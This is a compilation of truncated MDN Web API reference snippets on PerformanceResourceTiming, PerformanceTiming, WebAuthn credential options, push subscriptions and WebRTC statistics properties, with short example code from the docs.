... just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceResourceTiming.nextHopProtocol - Web APIs
the nexthopprotocol read-only property is a string representing the network protocol used to fetch the resource, as identified by the alpn protocol id (rfc7301).
... syntax resource.nexthopprotocol; return value a string representing the network protocol used to fetch the resource, as identified by the alpn protocol id (rfc7301).
PerformanceResourceTiming.redirectEnd - Web APIs
when fetching a resource, if there are multiple http redirects, and any of the redirects have an origin that is different from the current document, and the timing allow check algorithm passes for each redirected resource, this property returns the time immediately after receiving the last byte of the response of the last redirect; otherwise, zero is returned.
...source" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceResourceTiming.requestStart - Web APIs
the requeststart read-only property returns a timestamp of the time immediately before the browser starts requesting the resource from the server, cache, or local resource.
...source" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceResourceTiming.responseStart - Web APIs
the responsestart read-only property returns a timestamp immediately after the browser receives the first byte of the response from the server, cache, or local resource.
...source" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceResourceTiming.secureConnectionStart - Web APIs
syntax resource.secureconnectionstart; return value if the resource is fetched over a secure connection, a domhighrestimestamp immediately before the browser starts the handshake process to secure the current connection.
...source" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceResourceTiming.workerStart - Web APIs
the workerstart read-only property of the performanceresourcetiming interface returns a domhighrestimestamp immediately before dispatching the fetchevent if a service worker thread is already running, or immediately before starting the service worker thread if it is not already running.
...source" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart", "workerstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log(...
PerformanceServerTiming - Web APIs
example given a server that sends the server-timing header, for example a node.js server like this: const http = require('http'); function requesthandler(request, response) { const headers = { 'server-timing': ` cache;desc="cache read";dur=23.2, db;dur=53, app;dur=47.2 `.replace(/\n/g, '') }; response.writehead(200, headers); response.write(''); return settimeout(_ => { response.end(); }, 1000) }; http.createserver(requesthandler).listen(3000).on('error', console.error); the performanceservertiming entries are now observable from javascript via the performanceresourcetiming.serve...
...rtiming property: let entries = performance.getentriesbytype('resource'); console.log(entries[0].servertiming); // 0: performanceservertiming {name: "cache", duration: 23.2, description: "cache read"} // 1: performanceservertiming {name: "db", duration: 53, description: ""} // 2: performanceservertiming {name: "app", duration: 47.2, description: ""} specifications specification status comment server timingthe definition of 'performanceservertiming' in that specification.
PerformanceTiming.connectEnd - Web APIs
the legacy performancetiming.connectend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the connection is opened network.
...if a persistent connection is used, the value will be the same as performancetiming.fetchstart.
PerformanceTiming.connectStart - Web APIs
the legacy performancetiming.connectstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the request to open a connection is sent to the network.
...if a persistent connection is used, the value will be the same as performancetiming.fetchstart.
PerformanceTiming.domainLookupEnd - Web APIs
the legacy performancetiming.domainlookupend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the domain lookup is finished.
... if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetchstart.
PerformanceTiming.domainLookupStart - Web APIs
the legacy performancetiming.domainlookupstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the domain lookup starts.
... if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetchstart.
PerformanceTiming.navigationStart - Web APIs
the legacy performancetiming.navigationstart read-only property returns an unsigned long long representing the moment, in milliseconds since the unix epoch, right after the prompt for unload terminates on the previous document in the same browsing context.
... if there is no previous document, this value will be the same as performancetiming.fetchstart.
PerformanceTiming.secureConnectionStart - Web APIs
the legacy performancetiming.secureconnectionstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the secure connection handshake starts.
... if no such connection is requested, it returns 0.
PeriodicWave - Web APIs
the first value is the dc offset, which is the value at which the oscillator starts.
... a simple way of manually obtaining such coefficients (though not the best) is to use a graphing calculator.
ProgressEvent - Web APIs
ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/progressevent" target="_top"><rect x="116" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">progressevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor progressevent() creates a progressevent event with the given parameters.
PromiseRejectionEvent.promise - Web APIs
the promiserejectionevent interface's promise read-only property indicates the javascript promise which was rejected.
... syntax promise = promiserejectionevent.promise value the javascript promise which was rejected, and whose rejection went unhandled.
PromiseRejectionEvent.reason - Web APIs
the promiserejectionevent reason read-only property is any javascript value or object which provides the reason passed into promise.reject().
... syntax reason = promiserejectionevent.reason value a value or object which provides information you can use to understand why the promise was rejected.
PublicKeyCredential.rawId - Web APIs
examples var options = { challenge: new uint8array(26) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(...
...function (pubkeycredential) { var rawid = pubkeycredential.rawid; // do something with rawid }).catch(function (err) { // deal with any error }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rawid' in that specification.
PublicKeyCredentialRequestOptions.rpId - Web APIs
the rpid property, of the publickeycredentialrequestoptions dictionary, is an optional property which indicates the relying party's identifier as a usvstring.
... examples var options = { challenge: new uint8array([/* bytes sent from the server */]), rpid: "example.com" // will only work if the current domain // is something like foo.example.com }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(fun...
PublicKeyCredentialRequestOptions.timeout - Web APIs
this property is optional and merely is a hint which may be overridden by the browser.
... examples var options = { challenge: new uint8array([/* bytes sent from the server */]), timeout: 6000 // wait a minute for the fetching operation // and maybe fail if it takes longer }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifi...
PublicKeyCredentialRequestOptions.userVerification - Web APIs
this is a string which indicates how the user verification should be part of the authentication process.
... examples var options = { userverification: "preferred", challenge: new uint8array([/* bytes sent from the server */]), }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web...
PushManager - Web APIs
pushmanager.permissionstate() returns a promise that resolves to the permission state of the current pushmanager, which will be one of 'granted', 'denied', or 'prompt'.
... deprecated methods pushmanager.haspermission() returns a promise that resolves to the pushpermissionstatus of the requesting webapp, which will be one of granted, denied, or default.
PushSubscription.expirationTime - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexpirationtimechrome full support 60edge full support 16firefox no support noie no support noopera full support 47safari no support nowebview android no support nochrome android full support 60firefox android no support noopera android ...
PushSubscription.subscriptionId - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsubscriptionidchrome full support 42edge full support ≤18firefox no support noie no support noopera full support 29safari no support nowebview android no support nochrome android full support 42firefox android no support noopera android ...
RTCAnswerOptions - Web APIs
properties this dictionary inherits properties from the rtcofferansweroptions dictionary, on which it's based.
...however, this is likely to change in the future, so the type has been defined in preparation for that eventuality.
RTCConfiguration.iceTransportPolicy - Web APIs
syntax let rtcconfiguration = { icetransportpolicy: policy }; rtcconfiguration.icetransportpolicy = policy; let policy = rtcconfiguration.icetransportpolicy; value a domstring which indicates what ice candidate policy the ice agent should use during the negotiation process, per the jsep standard.
... this can be used to prevent the remote endpoint from receiving the user's ip addresses, which may be important in some security situations.
RTCErrorEvent - Web APIs
properties in addition to the standard properties available on the event interface, rtcerrorevent also includes the following: error read only an rtcerror object specifying the error which occurred; this object includes the type of error that occurred, information about where the error occurred (such as which line number in the sdp or what sctp cause code was at issue).
...the most common of these is probably rtcpeerconnectioniceerrorevent, used by the icecandidateerror event, which signals an error that has occurred while gathering ice candidates during connection negotiation.
RTCIceCandidate.protocol - Web APIs
the rtcicecandidate interface's read-only protocol property is a string which indicates whether the candidate uses udp or tcp as its transport protocol.
... syntax var protocol = rtcicecandidate.protocol; value a domstring which indicates what network protocol the candidate uses, udp or tcp.
RTCIceCandidate.relatedPort - Web APIs
see the example, which shows a bit of this.
... example in this example, the candidate's type is checked, and then debugging output is presented, based on the candidate type, including the candidate's type, address (ip and port), and related address (relatedaddress and relatedport).
RTCIceCandidatePair.remote - Web APIs
syntax remotecandidate = rtcicecandidatepair.remote; value an rtcicecandidate which describes the configuration of the remote end of a viable pair of ice candidates.
...in the first rtcrtpsender, we get the rtcdtlstransport over which the media data is being transmitted and finally, from that, the rtcicetransport.
RTCIceCandidatePairStats.availableOutgoingBitrate - Web APIs
syntax availableoutgoingbitrate = rtcicecandidatepairstats.availableoutgoingbitrate; value a floating-point value which approximates the amount of available bandwidth for outgoing data on the network connection described by the rtcicecandidatepair.
... the returned value is undefined in each of the following situations: the underlying implementation doesn't support computing a sender-side estimate of the outgoing bit rate.
RTCIceCandidatePairStats.bytesReceived - Web APIs
the rtcicecandidatepairstats property bytesreceived indicates the total number of payload bytes—that is, bytes which aren't overhead such as headers or padding—that hve been received to date on the connection described by the candidate pair.
...only data bytes are counted; overhead such as padding, headers, and the like are not included in this count.
RTCIceCandidatePairStats.bytesSent - Web APIs
the rtcicecandidatepairstats property bytessent indicates the total number of payload bytes—that is, bytes which aren't overhead such as headers or padding—that hve been sent so far on the connection described by the candidate pair.
...only data bytes are counted; overhead such as padding, headers, and the like are not included in this count.
RTCIceCandidatePairStats.consentExpiredTimestamp - Web APIs
the rtcicecandidatepairstats property consentexpiredtimestamp indicates the time at which the most recent stun binding response expired.
... syntax consentexpiration = rtcicecandidatepairstats.consentexpiredtimestamp; value a domhighrestimestamp object that indicates the time at which the stun binding that allows the two peers described by this rtcicecandidatepair to communicate will expire (or the time at which the binding did expire, if the time has passed).
RTCIceCandidatePairStats.currentRoundTripTime - Web APIs
syntax rtt = rtcicecandidatepairstats.currentroundtriptime; value a floating-point value indicating the round-trip time, in seconds for the connection described by the pair of candidates for which this rtcicecandidatepairstats object offers statistics.
...this information may come from ongoing stun connectivity checks as well as from consent requests made when the connection was initially being opened.
RTCIceCandidatePairStats.lastPacketReceivedTimestamp - Web APIs
the rtcicecandidatepairstats property lastpacketreceivedtimestamp indicates the time at which the connection described by the candidate pair last received a packet.
... syntax lastpacketreceivedtimestamp = rtcicecandidatepairstats.lastpacketreceivedtimestamp; value a domhighrestimestamp object indicating the timestamp at which the connection described by pair of candidates last received a packet, stun packets excluded.
RTCIceCandidateStats.lastPacketSentTimestamp - Web APIs
the rtcicecandidatepairstats property lastpacketsenttimestamp indicates the time at which the connection described by the candidate pair last sent a packet, not including stun packets.
... syntax lastpacketsenttimestamp = rtcicecandidatepairstats.lastpacketsenttimestamp; value a domhighrestimestamp object indicating the timestamp at which the connection described by pair of candidates last sent a packet, stun packets excluded.
RTCIceCandidateStats.lastResponseTimestamp - Web APIs
the rtcicecandidatepairstats property lastresponsetimestamp indicates the time at which the last stun response was received on the described candidate pair.
... syntax lastresponsetimestamp = rtcicecandidatepairstats.lastresponsetimestamp; value a domhighrestimestamp object indicating the timestamp at which the most recent stun response was received on the connection defined by the described pair of candidates.
RTCIceCandidatePairStats.nominated - Web APIs
syntax nominated = rtcicecandidatepairstats.nominated; value a boolean value which is set to true by the ice layer if the controlling user agent has indicated that the candidate pair should be used to configure the webrtc connection between the two peers.
... once a candidate pair has been nominated and the two peers have each reconfigured themselves to use the specified configuration, the ice negotiation process can potentially end (or it can continue, to allow the connection to adapt to changing conditions).
RTCIceCandidatePairStats.packetsSent - Web APIs
the rtcicecandidatepairstats dictionary's packetssent property indicates the total number of packets which have been sent on the connection described by the pair of candidates.
... syntax packetssent = rtcicecandidatepairstats.packetssent; value an integer value indicating the total number of packets, of any kind, which have been sent on the connection described by the two candidates comprising this pair.
RTCIceCandidatePairStats.readable - Web APIs
syntax isreadable = rtcicecandidatepairstats.readable; value a boolean value which is true if the connection described by this candidate pair has received at least one valid ice request, and is therefore ready to be read from.
... note: this property was removed from the specification in early 2017 because you can determine whether or not the connection is readable by checking to see if requestsreceived is greater than 0: if (icpstats.requestsreceived > 0) { /* at least one ice request has been received */ } ...
RTCIceCandidatePairStats.remoteCandidateId - Web APIs
the rtcicecandidatepairstats property remotecandidateid is a string that uniquely identifies the remote ice candidate which was analyzed to generate the rtcicecandidatestats used to compute the statistics for this pair of candidates.
... syntax remotecandidateid = rtcicecandidatepairstats.remotecandidateid; value a domstring uniquely identifies the remote ice candidate—that is, the candidate describing a configuration for the remote peer—which is represented by the remote end of these statistics.
RTCIceCandidatePairStats.responsesReceived - Web APIs
the responsesreceived property in the rtcicecandidatepairstats dictionary indicates the total number of stun connectivity check responses that have been received on the connection described by this pair of candidates.
... syntax responsesreceived = rtcicecandidatepairstats.responsesreceived; value an integer value which specifies the number of stun connectivity request responses that have been received on the connection described by this pair of candidates so far.
RTCIceCandidatePairStats.writable - Web APIs
syntax iswritable = rtcicecandidatepairstats.writable; value a boolean value which is true if the connection described by this candidate pair has received acknowledgement of receipt (ack) for at least one ice request and that stun consent hasn't expired.
... note: this property was removed from the specification in early 2017 because you can determine whether or not an incoming ice request is available to read by checking to see if responsesreceived is greater than 0 and that the time specified by consentexpiredtimestamp has not passed: if (icpstats.responsesreceived > 0 && icpstats.consentexpiredtimestamp < performance.now()) { /* at least one ice response has been received */ } ...
RTCIceCandidateStats.deleted - Web APIs
only candidates which have not been deleted are included in the output.
... window.setinterval(function() { mypeerconnection.getstats(null).then(stats => { let statsoutput = ""; stats.foreach(report => { if ((stats.type === "local-candidate" || stats.type === "remote.candidate") && !stats.deleted) { statsoutput += `<h2>report: ${report.type}</h3>\n<strong>id:</strong> ${report.id}<br>\n` + `<strong>timestamp:</strong> ${report.timestamp}<br>\n`; // now the statistics for this report; we intentially drop the ones we // sorted to the top above object.keys(report).foreach(statname => { if (statname !== "id" && statname !== "timestamp" && statname !== "type") { statsoutput += `<strong>${statname}:</strong> ${report[statname]}<br>\n`; } }); } }); ...
RTCIceCandidateStats.transportId - Web APIs
the rtcicecandidatestats dictionary's transportid property is a string that uniquely identifies the transport that produced the rtctransportstats from which information about this candidate was taken.
... syntax transportid = rtcicecandidatestats.transportid; value a domstring whose value uniquely identifies the transport from which any transport-related information accumulated in the rtcicecandidatestats was taken.
RTCIceCandidateStats.url - Web APIs
the rtcicecandidatestats dictionary's url property specifies the url of the ice server from which the described candidate was obtained.
... syntax url = rtcicecandidatestats.url; value a domstring specifying the url of the ice server from which the candidate described by the rtcicecandidatestats was obtained.
RTCIceGathererState - Web APIs
the rtcicegathererstate enumerated type provides the string values which can be returned by an rtcicetransport object's gatheringstate.
...the transport won't gather any further candidates unless an ice restart occurs, at which point the gathering process starts over from scratch.
RTCIceServer.credentialType - Web APIs
the rtciceserver dictionary's credentialtype property is a string value from the rtcicecredentialtype enum which indicates what type of credential the rtciceserver.credential value is.
... example this example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections.
RTCIceServer.username - Web APIs
the rtciceserver dictionary's username property is a string which specifies the username to use when authenticating with the ice server being described.
... }; var username = iceserver.username; iceserver.username = newusername; example this example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections.
RTCIceTransport.component - Web APIs
syntax icecomponent = rtcicetransport.component; value a domstring whose value comes from the enumerated type rtcicecomponent: "rtp" identifies an ice transport which is being used for the real-time transport protocol (rtp), or for rtp multiplexed with the rtp control protocol (rtcp).
... "rtcp" identifies an ice transport being used for rtcp, which is defined in rfc 3550, section 6.
RTCIceTransport.getLocalParameters() - Web APIs
the rtcicetransport method getlocalparameters() returns an rtciceparameters object which provides information uniquely identifying the local peer for the duration of the ice session.
... return value an rtciceparameters object indicating the usernamefragment and password which uniquely identify the local peer for the duration of the ice session.
RTCIceTransport.getRemoteParameters() - Web APIs
the rtcicetransport method getremoteparameters() returns an rtciceparameters object which provides information uniquely identifying the remote peer for the duration of the ice session.
... return value an rtciceparameters object indicating the usernamefragment and password which uniquely identify the remote peer for the duration of the ice session.
RTCIceTransport.role - Web APIs
the read-only rtcicetransport property role indicates which ice role the transport is fulfilling: that of the controlling agent, or the agent that is being controlled.
... you can learn more about ice roles in choosing a candidate pair in webrtc connectivity.
RTCInboundRtpStreamStats.averageRtcpInterval - Web APIs
because the interval's value is determined in part by the number of active senders, it will be different for each user of a service.
... the sending endpoint computes this value when sending compound rtcp packets, which must contain at least an rtcp rr or sr packet and an sdes packet with the cname item.
RTCInboundRtpStreamStats.bytesReceived - Web APIs
the rtcinboundrtpstreamstats dictionary's bytesreceived property is an integer value which indicates the total number of bytes received so far from this synchronization source (ssrc).
...this value can be used to calculate an approximation of the average media data rate: avgdatarate = rtcinboundrtpstreamstats.bytesreceived / elapsedtime; this value gets reset to zero if the sender's ssrc identifier changes for any reason.
RTCInboundRtpStreamStats.framesDecoded - Web APIs
the framesdecoded property of the rtcinboundrtpstreamstats dictionary indicates the total number of frames which have been decoded successfully for this media source.
... syntax var framesdecoded = rtcinboundrtpstreamstats.framesdecoded; value an integer value indicating the total number of video frames which have been decoded for this stream so far.
RTCInboundRtpStreamStats.packetsFailedDecryption - Web APIs
the packetsfaileddecryption property of the rtcinboundrtpstreamstats dictionary indicates the total number of rtp packets which failed to be decrypted successfully after being received by the local end of the connection during this session.
... syntax var packetsfaileddecryption = rtcinboundrtpstreamstats.packetsfaileddecryption; value an integer value which indicates how many packets the local end of the rtp connection could not be successfully decrypted.
RTCInboundRtpStreamStats.remoteId - Web APIs
the remoteid property of the rtcinboundrtpstreamstats dictionary specifies the id of the rtcremoteoutboundrtpstreamstats object representing the remote peer's rtcrtpsender which is sending the media to the local peer.
... syntax var remotestatsid = rtcinboundrtpstreamstats.remoteid; value a domstring containing the id of the rtcremoteoutboundrtpstreamstats object that represents the remote peer's rtcrtpsender for the synchronization source represented by this stats object.
RTCInboundRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcinboundrtpstreamstats dictionary indicates how many slice loss indication (sli) packets the rtcrtpreceiver for which this object provdes statistics sent to the remote rtcrtpsender.
... this is a very technical part of how video codecs work.
RTCInboundRtpStreamStats.trackId - Web APIs
the trackid property of the rtcinboundrtpstreamstats dictionary indicates the id of the rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats object representing the mediastreamtrack which is receiving the incoming media.
... syntax var trackstatsid = rtcinboundrtpstreamstats.trackid; value a domstring containing the id of the rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats object representing the track which is receiving the media from this rtp session.
RTCOutboundRtpStreamStats.averageRtcpInterval - Web APIs
because the interval's value is determined in part by the number of active senders, it will be different for each user of a service.
... the sending endpoint computes this value when sending compound rtcp packets, which must contain at least an rtcp rr or sr packet and an sdes packet with the cname item.
RTCOutboundRtpStreamStats.qualityLimitationReason - Web APIs
this quality reduction may include changes such as reduced frame rate or resolution, or an increase in compression factor.
... the amount of time the encoded media has had its quality reduced in each of the potential ways that can be done can be found in qualitylimitationdurations.
RTCOutboundRtpStreamStats.remoteId - Web APIs
the remoteid property of the rtcoutboundrtpstreamstats dictionary specifies the id of the rtcremoteinboundrtpstreamstats object representing the remote peer's rtcrtpreceiver which is sending the media to the local peer for this ssrc.
... syntax var remotestatsid = rtcoutboundrtpstreamstats.remoteid; value a domstring containing the id of the rtcremoteinboundrtpstreamstats object that represents the remote peer's rtcrtpreceiver for the synchronization source represented by this stats object.
RTCOutboundRtpStreamStats.trackId - Web APIs
the trackid property of the rtcoutboundrtpstreamstats dictionary indicates the id of the rtcsenderaudiotrackattachmentstats or rtcsendervideotrackattachmentstats object representing the mediastreamtrack which is being sent on this stream.
... syntax var trackstatsid = rtcoutboundrtpstreamstats.trackid; value a domstring containing the id of the rtcsenderaudiotrackattachmentstats or rtcsendervideotrackattachmentstats object representing the track which is the source of the media being sent on this stream.
RTCPeerConnection.getDefaultIceServers() - Web APIs
the getdefaulticeservers() method of the rtcpeerconnection interface returns an array of objects based on the rtciceserver dictionary, which indicates what, if any, ice servers the browser will use by default if none are provided to the rtcpeerconnection in its rtcconfiguration.
... syntax var defaulticeservers = rtcpeerconnection.getdefaulticeservers(); return value an array of ice servers, specified as objects based on rtciceserver, which the browser will use if none are specified in the configuration of the rtcpeerconnection.
RTCPeerConnection.getTransceivers() - Web APIs
the list is in the order in which the transceivers were added to the connection.
... pc.gettransceivers().foreach(transceiver => { transceiver.stop(); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.gettransceivers()' in that specification.
RTCPeerConnection.onidentityresult - Web APIs
such an event is sent when an identity assertion is generated, via getidentityassertion() or during the creation of an offer or an answer.
... syntax peerconnection.onidentityresult = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}.
RTCPeerConnection.onidpassertionerror - Web APIs
such an event is sent when the associated identity provider (idp) encounters an error while generating an identity assertion.
... syntax peerconnection.onidpassertionerror = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}.
RTCPeerConnection.onpeeridentity - Web APIs
such an event is sent when an identity assertion, received from a peer, has been successfully validated.
... syntax peerconnection.onpeeridentity = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}.
RTCPeerConnection.onremovestream - Web APIs
such an event is sent when a mediastream is removed from this connection.
... syntax peerconnection.onremovestream = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}.
RTCPeerConnection.remoteDescription - Web APIs
the read-only property rtcpeerconnection.remotedescription returns a rtcsessiondescription describing the session (which includes configuration and media information) for the remote end of the connection.
... the returned value typically reflects a remote description which has been received over the signaling server (as either an offer or an answer) and then put into effect by your code calling rtcpeerconnection.setremotedescription() in response.
RTCPeerConnection.removeTrack() - Web APIs
if the connection has already been negotiated (signalingstate is set to "stable"), it is marked as needing to be negotiated again; the remote peer won't experience the change until this negotiation occurs.
... example this example adds a video track to a connection and sets up a listener on a close button which removes the track when the user clicks the button.
RTCPeerConnection: removestream event - Web APIs
this is the counterpart to the addstream event, which is also obsolete.
...the rtcpeerconnection api is now track-based, so having zero tracks in the remote stream is equivalent to the remote stream being removed, which caused a removestream event.
RTCPeerConnectionIceEvent() - Web APIs
options a dictionary of type rtcpeerconnectioninit, which may contain one or more of the following fields: "candidate" (optional, default is null): a rtcicecandidate representing the ice candidate being concerned by the event.
... "url" (optional, default is null): the url of the stun or turn server which was used to gather the candidate.
RTCRtcpParameters - Web APIs
this property cannot be changed once initialized.
...this property cannot be changed once initialized.
RTCRtpCodecCapability - Web APIs
properties channels optional an unsigned integer value indicating the maximum number of channels supported by the codec; for example, a codec that supports only mono sound would have a value of 1; stereo codecs would have a 2, etc.
... sdpfmtpline optional a domstring giving the format specific parameters field from the a=fmtp line in the sdp which corresponds to the codec, if such a line exists.
RTCRtpContributingSource - Web APIs
this value is a source-generated time value which can be used to help with sequencing and synchronization.
... timestamp optional a domhighrestimestamp indicating the most recent time at which a frame originating from this source was delivered to the receiver's mediastreamtrack specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcontributingsource' in that specification.
RTCRtpReceiver.getContributingSources() - Web APIs
the getcontributingsources() method of the rtcrtpreceiver interface returns an array of rtcrtpcontributingsource instances, each corresponding to one csrc (contributing source) identifier received by the current rtcrtpreceiver in the last ten seconds.
...each instance describes one of the contributing sources that provided data to the incoming stream in the past ten seconds.
RTCRtpReceiver.track - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettrackchrome full support 59edge full support 12firefox full support yesie no support noopera full support 46safari full support yeswebview android full support 59chrome android full support 59firefox android full support yesopera android ...
RTCRtpReceiver.transport - Web APIs
the read-only transport property of an rtcrtpreceiver object provides the rtcdtlstransport object used to interact with the underlying transport over which the receiver is exchanging real-time transport control protocol (rtcp) packets.
... syntax let transport = rtcrtpreceiver.transport; value an rtcdtlstransport object representing the underlying transport being used by the receiver to exchange packets with the remote peer, or null if the receiver isn't yet connected to a transport.
RTCRtpSender.dtmf - Web APIs
WebAPIRTCRtpSenderdtmf
the read-only dtmf property on the rtcrtpsender interface returns a rtcdtmfsender object which can be used to send dtmf tones over the rtcpeerconnection .
... syntax var dtmfsender = rtcrtpsender.dtmf; value an rtcdtmfsender which can be used to send dtmf over the rtp session, or null if the track being carried by the rtp session or the rtcpeerconnection as a whole doesn't support dtmf.
RTCRtpSender.getStats() - Web APIs
the rtcrtpsender method getstats() asynchronously requests an rtcstatsreport object which provides statistics about outgoing traffic on the rtcpeerconnection which owns the sender, returning a promise which is fulfilled when the results are available.
... syntax var promise = rtcrtpsender.getstats(); return value a javascript promise which is fulfilled once the statistics are available.
RTCRtpSender.track - Web APIs
the track read-only property of the rtcrtpsender interface returns the mediastreamtrack which is being handled by the rtcrtpsender.
...if no track is associated with the sender, this value is null, in which case the sender transmits nothing.
RTCRtpSender.transport - Web APIs
the read-only transport property of an rtcrtpsender object provides the rtcdtlstransport object used to interact with the underlying transport over which the sender is exchanging real-time transport control protocol (rtcp) packets.
... syntax let transport = rtcrtpsender.transport; value an rtcdtlstransport object representing the underlying transport being used by the sender to exchange packets with the remote peer, or null if the sender isn't yet connected to a transport.
RTCRtpStreamStats.codecId - Web APIs
the rtcrtpstreamstats dictionary's codecid property is a string which uniquely identifies the object that was inspected to produce the data in the rtccodecstats for the rtp stream.
... syntax var codecid = rtcrtpstreamstats.codecid; value a domstring which uniquely identifies the object from which the contents of the stream's rtccodecstats are derived.
RTCRtpStreamStats.kind - Web APIs
the name was changed in the specification in february, 2018.
...it will also match the statistics object's rtccodecstats.codec property's media type.
RTCRtpStreamStats.trackId - Web APIs
the rtcrtpstreamstats dictionary's trackid property is a string which uniquely identifies the rtcmediastreamtrackstats object which contains the track statistics for the mediastreamtrack for which statistics are provided in this object.
... syntax var trackid = rtcrtpstreamstats.trackid; value a domstring which uniquely identifies the rtcmediastreamtrackstats object that provides statistics for the track for which statistics are being collected by this rtcstatsreport.
RTCRtpTransceiver.mid - Web APIs
